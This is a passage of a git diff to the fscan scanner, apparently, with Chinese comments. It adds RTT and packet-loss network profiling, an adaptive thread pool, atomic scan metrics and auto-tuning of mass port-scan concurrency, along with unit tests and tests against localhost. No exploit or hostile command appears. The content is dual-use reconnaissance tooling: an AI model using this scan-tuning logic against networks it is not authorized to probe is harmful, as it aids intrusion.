env, + RTTMin: rtts[0], + RTTMedian: median, + RTTP95: p95, + RTTStddev: stddev, + LossRate: lossRate, + Samples: n, + } +} + +func classifyEnv(median time.Duration, lossRate float64) NetworkEnv { + switch { + case lossRate > 0.10: + return EnvSlow + case median < 5*time.Millisecond && lossRate < 0.01: + return EnvLAN + case median < 50*time.Millisecond && lossRate < 0.05: + return EnvWAN + case median < 200*time.Millisecond: + return EnvInternet + default: + return EnvSlow + } +} + +func defaultProfile() *NetworkProfile { + return &NetworkProfile{ + Env: EnvWAN, + RTTMedian: 10 * time.Millisecond, + LossRate: 0, + Samples: 0, + } +} + +// pickSamples 均匀抽样 +func pickSamples(hosts []string, maxSamples int) []string { + if maxSamples <= 0 { + return nil + } + n := len(hosts) + if n <= maxSamples { + return hosts + } + step := n / maxSamples + samples := make([]string, 0, maxSamples) + for i := 0; i < n && len(samples) < maxSamples; i += step { + samples = append(samples, hosts[i]) + } + return samples +} + +func isConnectionRefused(err error) bool { + if err == nil { + return false + } + // connection refused 通常包含 "refused" 关键词 + // 在不同 OS 上表现一致 + return containsFold(err.Error(), "refused") +} + +// isTimeoutError 判断是否为超时错误 +func isTimeoutError(err error) bool { + if err == nil { + return false + } + if ne, ok := err.(net.Error); ok { + return ne.Timeout() + } + return containsFold(err.Error(), "timeout") || containsFold(err.Error(), "deadline") +} diff --git a/core/network_profiler_test.go b/core/network_profiler_test.go new file mode 100644 index 0000000..252c385 --- /dev/null +++ b/core/network_profiler_test.go @@ -0,0 +1,169 @@ +package core + +import ( + "testing" + "time" +) + +// ============================================================================= +// 单元测试:classifyEnv — 网络环境分类 +// ============================================================================= + +func TestClassifyEnv(t *testing.T) { + tests := []struct { + median time.Duration + lossRate float64 + wantEnv NetworkEnv + desc string + }{ + {1 * time.Millisecond, 0.0, EnvLAN, "1ms 零丢包 → 内网"}, + {3 * time.Millisecond, 0.005, EnvLAN, "3ms 0.5%丢包 → 内网"}, + {5 * time.Millisecond, 0.0, EnvWAN, "5ms 零丢包 → 局域网边界"}, + {20 * time.Millisecond, 0.02, EnvWAN, "20ms 2%丢包 → 局域网"}, + {50 * time.Millisecond, 0.03, EnvInternet, "50ms 3%丢包 → 公网边界"}, + {100 * time.Millisecond, 0.05, EnvInternet, "100ms 5%丢包 → 公网"}, + {300 * time.Millisecond, 0.05, EnvSlow, "300ms → 慢速"}, + {50 * time.Millisecond, 0.15, EnvSlow, "50ms 15%丢包 → 高丢包归类慢速"}, + {1 * time.Millisecond, 0.20, EnvSlow, "低延迟但高丢包 → 慢速"}, + } + + for _, tt := range tests { + t.Run(tt.desc, func(t *testing.T) { + got := classifyEnv(tt.median, tt.lossRate) + if got != tt.wantEnv { + t.Errorf("classifyEnv(median=%v, loss=%.2f) = %v, want %v", + tt.median, tt.lossRate, got, tt.wantEnv) + } + }) + } +} + +// ============================================================================= +// 单元测试:classifyNetwork — 从 RTT 样本推导 profile +// ============================================================================= + +func TestClassifyNetwork(t *testing.T) { + t.Run("内网 RTT 分布", func(t *testing.T) { + rtts := makeDurations([]int{1, 1, 1, 2, 2, 2, 3, 3, 4, 5}) // ms + p := classifyNetwork(rtts, 0, 10) + + if p.Env != EnvLAN { + t.Errorf("env = %v, want LAN", p.Env) + } + if p.RTTMedian > 5*time.Millisecond { + t.Errorf("median = %v, want < 5ms", p.RTTMedian) + } + if p.LossRate != 0 { + t.Errorf("lossRate = %.2f, want 0", p.LossRate) + } + }) + + t.Run("公网 RTT 分布(低丢包)", func(t *testing.T) { + rtts := makeDurations([]int{60, 70, 80, 90, 100, 110, 120, 150, 200, 300}) // ms + p := classifyNetwork(rtts, 0, 10) // 无丢包 + + if p.Env != EnvInternet { + t.Errorf("env = %v, want Internet", p.Env) + } + if p.LossRate != 0 { + t.Errorf("lossRate = %.2f, want 0", p.LossRate) + } + }) + + t.Run("高丢包归类为慢速", func(t *testing.T) { + rtts := makeDurations([]int{60, 70, 80, 90, 100}) // ms, 5 responded + p := classifyNetwork(rtts, 5, 10) // 50% loss + + if p.Env != EnvSlow { + t.Errorf("env = %v, want Slow (高丢包)", p.Env) + } + }) + + t.Run("零样本降级", func(t *testing.T) { + p := classifyNetwork(nil, 5, 5) + if p.Env != EnvWAN { + t.Errorf("env = %v, want WAN (default)", p.Env) + } + if p.Samples != 0 { + t.Errorf("samples = %d, want 0", p.Samples) + } + }) +} + +// ============================================================================= +// 单元测试:RecommendConcurrency +// ============================================================================= + +func TestRecommendConcurrency(t *testing.T) { + tests := []struct { + env NetworkEnv + lossRate float64 + userT int + explicit bool + wantTMin int + wantTMax int + wantCeil int + desc string + }{ + {EnvLAN, 0.0, 600, false, 800, 1000, -1, "内网自动: ×1.5"}, + {EnvWAN, 0.0, 600, false, 550, 650, -1, "局域网自动: ×1.0"}, + {EnvInternet, 0.0, 600, false, 200, 280, -1, "公网自动: ×0.4"}, + {EnvSlow, 0.0, 600, false, 80, 100, -1, "慢速自动: ×0.15"}, + {EnvInternet, 0.0, 200, true, 70, 100, 200, "公网显式: target tt.wantTMax { + t.Errorf("target = %d, want [%d, %d]", target, tt.wantTMin, tt.wantTMax) + } + + if tt.explicit && ceiling != tt.wantCeil { + t.Errorf("ceiling = %d, want %d", ceiling, tt.wantCeil) + } + }) + } +} + +// ============================================================================= +// 单元测试:pickSamples +// ============================================================================= + +func TestPickSamples(t *testing.T) { + hosts := make([]string, 100) + for i := range hosts { + hosts[i] = "host" + } + + s := pickSamples(hosts, 10) + if len(s) != 10 { + t.Errorf("pickSamples(100, 10) = %d items, want 10", len(s)) + } + + s = pickSamples(hosts[:5], 10) + if len(s) != 5 { + t.Errorf("pickSamples(5, 10) = %d items, want 5", len(s)) + } + + s = pickSamples(nil, 10) + if len(s) != 0 { + t.Errorf("pickSamples(nil, 10) = %d items, want 0", len(s)) + } +} + +// ============================================================================= +// 辅助 +// ============================================================================= + +func makeDurations(ms []int) []time.Duration { + ds := make([]time.Duration, len(ms)) + for i, m := range ms { + ds[i] = time.Duration(m) * time.Millisecond + } + return ds +} diff --git a/core/port_scan.go b/core/port_scan.go index 0d37153..150d717 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -187,13 +187,12 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout totalTasks := iter.Total() session.LogDebug(i18n.Tr("port_scan_debug_total_tasks", totalTasks)) - // 使用传入的配置 + // 并发参数(已由 EnvironmentProfile.TuneConfig 调整过) threadNum := config.ThreadNum - // 大规模扫描警告和线程数自动调整 + // 大规模扫描额外约束 if totalTasks > 100000 { session.LogInfo(i18n.Tr("large_scan_notice", totalTasks, len(hosts), len(portList))) - // 如果任务数超过100万且线程数大于300,自动降低线程数 if totalTasks > 1000000 && threadNum > 300 { oldThreadNum := threadNum threadNum = 300 @@ -211,14 +210,14 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout // 初始化并发控制 to := time.Duration(timeout) * time.Second adaptiveTO := NewAdaptiveTimeout(to) + metrics := &ScanMetrics{} var count atomic.Int64 collector := newResultCollector(stream) failedCollector := &failedPortCollector{} var wg sync.WaitGroup session.LogDebug(i18n.Tr("port_scan_debug_pool_create", threadNum)) - // 创建自适应线程池(支持动态调整) - pool, err := NewAdaptivePool(threadNum, func(task interface{}) { + pool, err := NewAdaptivePool(threadNum, threadNum, func(task interface{}) { taskInfo, ok := task.(portScanTask) if !ok { return @@ -228,9 +227,9 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout wg.Done() }() - scanSinglePort(ctx, taskInfo.host, taskInfo.port, taskInfo.addr, adaptiveTO, &count, collector, failedCollector, session) + scanSinglePort(ctx, taskInfo.host, taskInfo.port, taskInfo.addr, adaptiveTO, metrics, &count, collector, failedCollector, session) common.UpdateProgressBar(1) - }, state) + }, metrics) if err != nil { session.LogError(i18n.Tr("thread_pool_create_failed", err)) if stream != nil { @@ -242,7 +241,7 @@ func EnhancedPortScan(ctx context.Context, hosts []string, ports string, timeout defer pool.Release() session.LogDebug(i18n.GetText("port_scan_debug_schedule_start")) - // 滑动窗口调度:维护固定数量的"飞行中"任务 + // 滑动窗口调度 slidingWindowSchedule(iter, pool, &wg, threadNum) session.LogDebug(i18n.GetText("port_scan_debug_schedule_done")) @@ -482,17 +481,28 @@ func buildWebServiceURL(addr string, serviceInfo *ServiceInfo) string { } // scanSinglePort 扫描单个端口并进行服务识别(重构后的简洁版本) -func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, count *atomic.Int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) { +func scanSinglePort(ctx context.Context, host string, port int, addr string, adaptiveTO *AdaptiveTimeout, metrics *ScanMetrics, count *atomic.Int64, collector *resultCollector, failedCollector *failedPortCollector, session *common.ScanSession) { config := session.Config timeout := adaptiveTO.Timeout() // 步骤1:建立连接 start := time.Now() conn, err := connectWithRetry(ctx, session, addr, timeout, 2) if err != nil { + rtt := time.Since(start) + switch { + case isResourceExhaustedError(err): + metrics.RecordExhausted() + case isTimeoutError(err): + metrics.RecordTimeout() + default: + metrics.RecordRefused(rtt) + } handleConnectionFailure(err, host, port, addr, failedCollector) return } - adaptiveTO.Record(time.Since(start)) + rtt := time.Since(start) + metrics.RecordConnect(rtt) + adaptiveTO.Record(rtt) // 步骤1.5:代理连接深度验证(防止透明代理/全回显代理的假连接问题) valid, verifyMethod := verifyProxyConnectionDeep(conn, addr, session) diff --git a/core/real_network_test.go b/core/real_network_test.go new file mode 100644 index 0000000..74b396b --- /dev/null +++ b/core/real_network_test.go @@ -0,0 +1,487 @@ +package core + +import ( + "context" + "fmt" + "net" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/shadow1ng/fscan/common" +) + +// ============================================================================= +// 辅助:启动本地 TCP 监听器 +// ============================================================================= + +// startListeners 启动 N 个本地 TCP 监听端口,返回地址列表和清理函数 +func startListeners(t *testing.T, n int) (addrs []string, hosts []string, ports []int, cleanup func()) { + t.Helper() + var listeners []net.Listener + + for i := 0; i < n; i++ { + ln, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + for _, l := range listeners { + l.Close() + } + t.Fatalf("启动监听失败: %v", err) + } + listeners = append(listeners, ln) + addr := ln.Addr().String() + addrs = append(addrs, addr) + + host, portStr, _ := net.SplitHostPort(addr) + hosts = append(hosts, host) + var port int + fmt.Sscanf(portStr, "%d", &port) + ports = append(ports, port) + + // 后台 accept(不处理连接,只让 connect 成功) + go func(l net.Listener) { + for { + conn, err := l.Accept() + if err != nil { + return + } + conn.Close() + } + }(ln) + } + + return addrs, hosts, ports, func() { + for _, l := range listeners { + l.Close() + } + } +} + +// makeRealSession 创建用于真实网络测试的 session +func makeRealSession(t *testing.T) (*common.Config, *common.ScanSession) { + t.Helper() + config := &common.Config{ + Timeout: 3 * time.Second, + ThreadNum: 100, + ModuleThreadNum: 10, + MaxRetries: 3, + Network: common.NetworkConfig{ICMPRate: 0.1}, + POC: common.POCConfig{Num: 20}, + Output: common.OutputConfig{LogLevel: "base,info,success"}, + } + session := common.NewScanSession(config, common.NewState(), &common.FlagVars{}) + return config, session +} + +// ============================================================================= +// 真实测试 1:ProbeNetwork 对 localhost 探测 +// ============================================================================= + +func TestReal_ProbeNetwork_Localhost(t *testing.T) { + _, hosts, _, cleanup := startListeners(t, 3) + defer cleanup() + + _, session := makeRealSession(t) + + ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second) + defer cancel() + + profile := ProbeNetwork(ctx, hosts, session) + + if profile.Samples == 0 { + t.Fatal("localhost 探测应该有样本") + } + + // localhost 应该是内网环境 + if profile.Env != EnvLAN { + t.Errorf("localhost env = %v, want LAN", profile.Env) + } + + // RTT 应该 < 10ms + if profile.RTTMedian > 10*time.Millisecond { + t.Errorf("localhost RTT median = %v, 应该 < 10ms", profile.RTTMedian) + } + + // 丢包率应该为 0 或极低 + if profile.LossRate > 0.1 { + t.Errorf("localhost loss = %.2f, 应该接近 0", profile.LossRate) + } + + t.Logf("localhost 探测: env=%v RTT_median=%v RTT_p95=%v loss=%.2f%% samples=%d", + profile.Env, profile.RTTMedian, profile.RTTP95, profile.LossRate*100, profile.Samples) +} + +// ============================================================================= +// 真实测试 2:ProbeNetwork 对不可达目标 +// ============================================================================= + +func TestReal_ProbeNetwork_Unreachable(t *testing.T) { + _, session := makeRealSession(t) + // 使用 RFC 5737 保留地址段,保证不可达 + hosts := []string{"192.0.2.1", "192.0.2.2", "192.0.2.3"} + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + profile := ProbeNetwork(ctx, hosts, session) + + // 不可达目标应该返回默认 profile 或高丢包 + t.Logf("不可达探测: env=%v samples=%d loss=%.2f%%", + profile.Env, profile.Samples, profile.LossRate*100) +} + +// ============================================================================= +// 真实测试 3:ProbeNetwork 混合可达与不可达 +// ============================================================================= + +func TestReal_ProbeNetwork_Mixed(t *testing.T) { + _, hosts, _, cleanup := startListeners(t, 2) + defer cleanup() + + // 混合真实主机和不可达地址 + mixed := append(hosts, "192.0.2.1", "192.0.2.2") + + _, session := makeRealSession(t) + + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + + profile := ProbeNetwork(ctx, mixed, session) + + if profile.Samples == 0 { + t.Error("混合探测应该有一些成功样本") + } + + t.Logf("混合探测: env=%v RTT=%v samples=%d loss=%.2f%%", + profile.Env, profile.RTTMedian, profile.Samples, profile.LossRate*100) +} + +// ============================================================================= +// 真实测试 4:ProbeSystem +// ============================================================================= + +func TestReal_ProbeSystem(t *testing.T) { + sys := ProbeSystem() + + if sys.NumCPU <= 0 { + t.Errorf("NumCPU = %d, 应该 > 0", sys.NumCPU) + } + + t.Logf("系统探测: NumCPU=%d FDLimit=%d", sys.NumCPU, sys.FDLimit) + + // Linux/macOS 上 FDLimit 应该 > 0 + // Windows 上可能为 0(设计如此) + if sys.FDLimit < 0 { + t.Errorf("FDLimit = %d, 不应为负", sys.FDLimit) + } +} + +// ============================================================================= +// 真实测试 5:完整链路 —— 探测 → 调参 → 池创建 → 真实任务执行 +// ============================================================================= + +func TestReal_E2E_ProbeAndScan(t *testing.T) { + addrs, hosts, _, cleanup := startListeners(t, 5) + defer cleanup() + + config, session := makeRealSession(t) + + // 第一步:探测 + ctx := context.Background() + profile := ProbeNetwork(ctx, hosts, session) + sys := ProbeSystem() + ep := &EnvironmentProfile{Net: *profile, System: sys} + + // 第二步:调参 + ep.TuneConfig(config, session) + + // 第三步:创建池 + target, ceiling := profile.RecommendConcurrency(config.ThreadNum, false) + metrics := &ScanMetrics{} + + var successCount atomic.Int64 + + pool, err := NewAdaptivePool(target, ceiling, func(i interface{}) { + addr := i.(string) + conn, err := net.DialTimeout("tcp", addr, config.Timeout) + if err != nil { + metrics.RecordTimeout() + return + } + defer conn.Close() + successCount.Add(1) + metrics.RecordConnect(time.Millisecond) + }, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + // 跳过慢启动测试主要流程 + pool.inSlowStart = false + pool.tune(target) + + // 第四步:提交任务 + var wg sync.WaitGroup + for _, addr := range addrs { + wg.Add(1) + a := addr + go func() { + defer wg.Done() + _ = pool.Invoke(a) + }() + } + wg.Wait() + pool.Wait() + + // 第五步:验证 + if successCount.Load() != int64(len(addrs)) { + t.Errorf("成功连接 %d/%d", successCount.Load(), len(addrs)) + } + + snap := metrics.Snapshot() + if snap.Connects != int64(len(addrs)) { + t.Errorf("metrics.Connects = %d, want %d", snap.Connects, len(addrs)) + } + + t.Logf("E2E: profile=%v timeout=%v mt=%d retry=%d target=%d connects=%d", + profile.Env, config.Timeout, config.ModuleThreadNum, config.MaxRetries, + target, snap.Connects) +} + +// ============================================================================= +// 真实测试 6:大量连接的自适应行为 +// ============================================================================= + +func TestReal_AdaptivePool_ManyConnections(t *testing.T) { + _, hosts, ports, cleanup := startListeners(t, 3) + defer cleanup() + + metrics := &ScanMetrics{} + var successCount, failCount atomic.Int64 + + pool, err := NewAdaptivePool(50, 50, func(i interface{}) { + addr := i.(string) + start := time.Now() + conn, err := net.DialTimeout("tcp", addr, time.Second) + rtt := time.Since(start) + if err != nil { + failCount.Add(1) + metrics.RecordTimeout() + return + } + defer conn.Close() + successCount.Add(1) + metrics.RecordConnect(rtt) + }, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(50) + + // 提交 300 个连接任务(对 3 个端口各 100 次) + var wg sync.WaitGroup + for i := 0; i < 100; i++ { + for j, host := range hosts { + addr := fmt.Sprintf("%s:%d", host, ports[j]) + wg.Add(1) + go func(a string) { + defer wg.Done() + _ = pool.Invoke(a) + }(addr) + } + } + wg.Wait() + pool.Wait() + + total := successCount.Load() + failCount.Load() + if total != 300 { + t.Errorf("总任务 %d, want 300", total) + } + + snap := metrics.Snapshot() + t.Logf("大量连接: success=%d fail=%d connects=%d timeouts=%d cap=%d rtt_ratio=%.2f", + successCount.Load(), failCount.Load(), snap.Connects, snap.Timeouts, pool.Cap(), metrics.RTTRatio()) + + // localhost 连接应该几乎全部成功 + if successCount.Load() < 280 { + t.Errorf("localhost 成功率过低: %d/300", successCount.Load()) + } +} + +// ============================================================================= +// 真实测试 7:连接关闭端口 + 开放端口混合 +// ============================================================================= + +func TestReal_MixedOpenClosed(t *testing.T) { + _, hosts, ports, cleanup := startListeners(t, 2) + defer cleanup() + + metrics := &ScanMetrics{} + + pool, err := NewAdaptivePool(20, 20, func(i interface{}) { + addr := i.(string) + start := time.Now() + conn, err := net.DialTimeout("tcp", addr, time.Second) + rtt := time.Since(start) + if err != nil { + if isConnectionRefused(err) { + metrics.RecordRefused(rtt) + } else { + metrics.RecordTimeout() + } + return + } + defer conn.Close() + metrics.RecordConnect(rtt) + }, metrics) + if err != nil { + t.Fatalf("创建池失败: %v", err) + } + defer pool.Release() + + pool.inSlowStart = false + pool.tune(20) + + var wg sync.WaitGroup + + // 连接开放端口 + for i := 0; i < 20; i++ { + addr := fmt.Sprintf("%s:%d", hosts[0], ports[0]) + wg.Add(1) + go func(a string) { + defer wg.Done() + _ = pool.Invoke(a) + }(addr) + } + + // 连接关闭端口(用一个不存在的端口) + for i := 0; i < 20; i++ { + addr := fmt.Sprintf("127.0.0.1:%d", 1) // port 1 通常关闭 + wg.Add(1) + go func(a string) { + defer wg.Done() + _ = pool.Invoke(a) + }(addr) + } + + wg.Wait() + pool.Wait() + + snap := metrics.Snapshot() + t.Logf("混合端口: connects=%d refused=%d timeouts=%d total=%d", + snap.Connects, snap.Refused, snap.Timeouts, snap.Total()) + + // 开放端口应该全部连接成功 + if snap.Connects < 18 { + t.Errorf("开放端口连接数 = %d, 应该接近 20", snap.Connects) + } + + // RTT ratio 应该合理(不会因为 refused 而异常) + ratio := metrics.RTTRatio() + if ratio > 3.0 || ratio < 0.3 { + t.Errorf("混合流量 RTT ratio = %.2f, 不合理", ratio) + } +} + +// ============================================================================= +// 真实测试 8:Context 取消时的探测行为 +// ============================================================================= + +func TestReal_ProbeNetwork_ContextCancel(t *testing.T) { + _, hosts, _, cleanup := startListeners(t, 3) + defer cleanup() + + _, session := makeRealSession(t) + + // 立即取消的 context + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + profile := ProbeNetwork(ctx, hosts, session) + + // 应该优雅返回默认 profile 或部分结果 + t.Logf("取消探测: env=%v samples=%d", profile.Env, profile.Samples) +} + +// ============================================================================= +// 真实测试 9:AdaptiveTimeout 真实 RTT 收敛 +// ============================================================================= + +func TestReal_AdaptiveTimeout_Convergence(t *testing.T) { + addrs, _, _, cleanup := startListeners(t, 1) + defer cleanup() + + at := NewAdaptiveTimeout(3 * time.Second) + + // 初始应该返回最大超时 + if at.Timeout() != 3*time.Second { + t.Errorf("冷启动 Timeout = %v, want 3s", at.Timeout()) + } + + // 做 20 次真实连接采样 + for i := 0; i < 20; i++ { + start := time.Now() + conn, err := net.DialTimeout("tcp", addrs[0], time.Second) + rtt := time.Since(start) + if err != nil { + t.Fatalf("连接失败: %v", err) + } + conn.Close() + at.Record(rtt) + } + + // 采样够后 Timeout 应远小于 3s(localhost RTT 通常 < 1ms) + converged := at.Timeout() + if converged >= 3*time.Second { + t.Errorf("采样后 Timeout = %v, 应该 < 3s", converged) + } + if converged < 100*time.Millisecond { + t.Logf("Timeout 收敛到 %v(localhost,正常)", converged) + } + + t.Logf("AdaptiveTimeout 收敛: 3s -> %v (%d 个样本)", converged, 20) +} + +// ============================================================================= +// 真实测试 10:完整 TuneConfig 对真实探测数据 +// ============================================================================= + +func TestReal_TuneConfig_WithRealProbe(t *testing.T) { + _, hosts, _, cleanup := startListeners(t, 5) + defer cleanup() + + config, session := makeRealSession(t) + + ctx := context.Background() + profile := ProbeNetwork(ctx, hosts, session) + sys := ProbeSystem() + + origTimeout := config.Timeout + origMT := config.ModuleThreadNum + origRetry := config.MaxRetries + origICMP := config.Network.ICMPRate + + ep := &EnvironmentProfile{Net: *profile, System: sys} + ep.TuneConfig(config, session) + + t.Logf("真实调参:") + t.Logf(" Timeout: %v -> %v", origTimeout, config.Timeout) + t.Logf(" MT: %d -> %d", origMT, config.ModuleThreadNum) + t.Logf(" Retry: %d -> %d", origRetry, config.MaxRetries) + t.Logf(" ICMPRate: %.2f -> %.2f", origICMP, config.Network.ICMPRate) + t.Logf(" PocNum: 20 -> %d", config.POC.Num) + t.Logf(" ThreadNum: %d (fd_limit=%d)", config.ThreadNum, sys.FDLimit) + + // localhost 环境下的基本验证 + if config.Timeout > 3*time.Second { + t.Errorf("localhost Timeout = %v, 不应高于默认 3s", config.Timeout) + } + if config.MaxRetries > 3 { + t.Errorf("localhost Retry = %d, 不应高于默认 3", config.MaxRetries) + } +} diff --git a/core/scan_metrics.go b/core/scan_metrics.go new file mode 100644 index 0000000..557e1b3 --- /dev/null +++ b/core/scan_metrics.go @@ -0,0 +1,115 @@ +package core + +import ( + "sync/atomic" + "time" +) + +// ScanMetrics 扫描过程中的实时度量指标 +// 所有方法均无锁,使用 atomic 操作,可在高并发下安全调用 +type ScanMetrics struct { + connects atomic.Int64 // TCP 连接成功(端口开放) + refused atomic.Int64 // 连接被拒绝(端口关闭,快速 RTT) + timeouts atomic.Int64 // 连接超时(端口过滤/不可达) + exhausted atomic.Int64 // 资源耗尽(fd/端口/内存不足) + + // RTT 追踪:双 EMA(指数移动平均) + // fast EMA (α=0.1) 跟踪近期趋势 + // slow EMA (α=0.02) 作为基线参考 + rttFastNs atomic.Int64 // 纳秒 + rttSlowNs atomic.Int64 // 纳秒 + rttSamples atomic.Int64 +} + +func (m *ScanMetrics) RecordConnect(rtt time.Duration) { + m.connects.Add(1) + m.recordRTT(rtt) +} + +func (m *ScanMetrics) RecordRefused(rtt time.Duration) { + m.refused.Add(1) + m.recordRTT(rtt) +} + +func (m *ScanMetrics) RecordTimeout() { m.timeouts.Add(1) } +func (m *ScanMetrics) RecordExhausted() { m.exhausted.Add(1) } + +// recordRTT 更新 RTT 双 EMA(lock-free CAS) +func (m *ScanMetrics) recordRTT(rtt time.Duration) { + ns := int64(rtt) + if ns <= 0 { + return + } + m.rttSamples.Add(1) + + // Fast EMA: α = 0.1 → new = old + (sample - old) / 10 + updateEMA(&m.rttFastNs, ns, 10) + // Slow EMA: α = 0.02 → new = old + (sample - old) / 50 + updateEMA(&m.rttSlowNs, ns, 50) +} + +func updateEMA(target *atomic.Int64, sample int64, divisor int64) { + for { + old := target.Load() + if old == 0 { + if target.CompareAndSwap(0, sample) { + return + } + continue + } + next := old + (sample-old)/divisor + if target.CompareAndSwap(old, next) { + return + } + } +} + +// Total 总操作数 +func (m *ScanMetrics) Total() int64 { + return m.connects.Load() + m.refused.Load() + m.timeouts.Load() + m.exhausted.Load() +} + +// MetricsSnapshot 度量快照,用于计算窗口内增量 +type MetricsSnapshot struct { + Connects int64 + Refused int64 + Timeouts int64 + Exhausted int64 + RTTFastNs int64 + RTTSlowNs int64 +} + +func (s MetricsSnapshot) Total() int64 { + return s.Connects + s.Refused + s.Timeouts + s.Exhausted +} + +func (m *ScanMetrics) Snapshot() MetricsSnapshot { + return MetricsSnapshot{ + Connects: m.connects.Load(), + Refused: m.refused.Load(), + Timeouts: m.timeouts.Load(), + Exhausted: m.exhausted.Load(), + RTTFastNs: m.rttFastNs.Load(), + RTTSlowNs: m.rttSlowNs.Load(), + } +} + +// RTTRatio 返回 fast/slow EMA 的比值 +// > 1.0 表示延迟在上升(拥塞信号),< 1.0 表示延迟在下降 +// 样本不足时返回 1.0 +func (m *ScanMetrics) RTTRatio() float64 { + if m.rttSamples.Load() < 20 { + return 1.0 + } + fast := m.rttFastNs.Load() + slow := m.rttSlowNs.Load() + if slow <= 0 { + return 1.0 + } + return float64(fast) / float64(slow) +} + +// RTTFast 返回快速 EMA 值 +func (m *ScanMetrics) RTTFast() time.Duration { + return time.Duration(m.rttFastNs.Load()) +} diff --git a/core/scan_metrics_test.go b/core/scan_metrics_test.go new file mode 100644 index 0000000..3674fd1 --- /dev/null +++ b/core/scan_metrics_test.go @@ -0,0 +1,130 @@ +package core + +import ( + "sync" + "testing" + "time" +) + +// ============================================================================= +// 单元测试:ScanMetrics 基本操作 +// ============================================================================= + +func TestScanMetrics_Counters(t *testing.T) { + m := &ScanMetrics{} + + m.RecordConnect(time.Millisecond) + m.RecordConnect(2 * time.Millisecond) + m.RecordRefused(500 * time.Microsecond) + m.RecordTimeout() + m.RecordExhausted() + + if m.Total() != 5 { + t.Errorf("Total() = %d, want 5", m.Total()) + } + + snap := m.Snapshot() + if snap.Connects != 2 { + t.Errorf("Connects = %d, want 2", snap.Connects) + } + if snap.Refused != 1 { + t.Errorf("Refused = %d, want 1", snap.Refused) + } + if snap.Timeouts != 1 { + t.Errorf("Timeouts = %d, want 1", snap.Timeouts) + } + if snap.Exhausted != 1 { + t.Errorf("Exhausted = %d, want 1", snap.Exhausted) + } +} + +// ============================================================================= +// 单元测试:RTT EMA 收敛 +// ============================================================================= + +func TestScanMetrics_RTT_EMA(t *testing.T) { + m := &ScanMetrics{} + + // 喂入稳定的 10ms RTT + for i := 0; i < 100; i++ { + m.RecordConnect(10 * time.Millisecond) + } + + fast := m.RTTFast() + if fast < 9*time.Millisecond || fast > 11*time.Millisecond { + t.Errorf("稳定 10ms 后 RTTFast = %v, 应该接近 10ms", fast) + } + + ratio := m.RTTRatio() + if ratio < 0.9 || ratio > 1.1 { + t.Errorf("稳定状态 RTTRatio = %.2f, 应该接近 1.0", ratio) + } +} + +func TestScanMetrics_RTT_Trend(t *testing.T) { + m := &ScanMetrics{} + + // 先喂入 100 个 5ms 建立基线 + for i := 0; i < 100; i++ { + m.RecordConnect(5 * time.Millisecond) + } + + // 再喂入 50 个 50ms(RTT 突增 10 倍) + for i := 0; i < 50; i++ { + m.RecordConnect(50 * time.Millisecond) + } + + ratio := m.RTTRatio() + // fast EMA 应该比 slow EMA 高(fast 跟踪快,slow 还没追上来) + if ratio <= 1.0 { + t.Errorf("RTT 突增后 RTTRatio = %.2f, 应该 > 1.0", ratio) + } + + t.Logf("RTT 突增后: ratio=%.2f, fast=%v", ratio, m.RTTFast()) +} + +func TestScanMetrics_RTT_InsufficientSamples(t *testing.T) { + m := &ScanMetrics{} + + // 少于 20 个样本 + for i := 0; i < 10; i++ { + m.RecordConnect(time.Millisecond) + } + + ratio := m.RTTRatio() + if ratio != 1.0 { + t.Errorf("样本不足时 RTTRatio = %.2f, 应该是 1.0", ratio) + } +} + +// ============================================================================= +// 并发安全测试 +// ============================================================================= + +func TestScanMetrics_ConcurrentSafety(t *testing.T) { + m := &ScanMetrics{} + var wg sync.WaitGroup + + for i := 0; i < 100; i++ { + wg.Add(4) + go func() { defer wg.Done(); m.RecordConnect(time.Millisecond) }() + go func() { defer wg.Done(); m.RecordRefused(time.Millisecond) }() + go func() { defer wg.Done(); m.RecordTimeout() }() + go func() { defer wg.Done(); m.RecordExhausted() }() + } + + wg.Wait() + + if m.Total() != 400 { + t.Errorf("并发后 Total() = %d, want 400", m.Total()) + } + + // 验证 Snapshot 不 panic + snap := m.Snapshot() + if snap.Total() != 400 { + t.Errorf("并发后 Snapshot.Total() = %d, want 400", snap.Total()) + } + + // 验证 RTTRatio 不 panic + _ = m.RTTRatio() +} diff --git a/core/service_scanner.go b/core/service_scanner.go index 82025a4..4668eb5 100644 --- a/core/service_scanner.go +++ b/core/service_scanner.go @@ -164,6 +164,10 @@ func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *comm totalAlive := 0 sawHosts := false performedLiveness := false + envProfiled := false + + // 系统能力探测(不需要网络目标) + sysProfile := ProbeSystem() for { hosts, err := iter.NextBatch(ctx, targetHostBatchSize(config)) @@ -185,6 +189,14 @@ func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *comm continue } + // 首批 alive hosts 出来后做网络探测,调整后续所有参数 + if !envProfiled { + envProfiled = true + netProfile := ProbeNetwork(ctx, hosts, session) + ep := &EnvironmentProfile{Net: *netProfile, System: sysProfile} + ep.TuneConfig(config, session) + } + s.dispatchUDPPlugins(ctx, session, hosts, info, config, ch, wg) s.scanHostBatch(ctx, session, hosts, info, pluginsToRun, isCustomMode, ch, wg) } diff --git a/web/api/scan.go b/web/api/scan.go index 195f51d..320908d 100644 --- a/web/api/scan.go +++ b/web/api/scan.go @@ -210,6 +210,11 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.DisableSave = true // Web模式不保存到文件 fv.Silent = true // 静默模式 + // 用户指定了线程数则标记为显式 + if req.ThreadNum > 0 { + fv.ThreadNumExplicit = true + } + // 构建Config和Session config := common.BuildConfigFromFlags(fv) state := common.NewState() From 9d38874a0307b9c23cbd141e75d2bbb269bd42c2 Mon Sep 17 00:00:00 2001 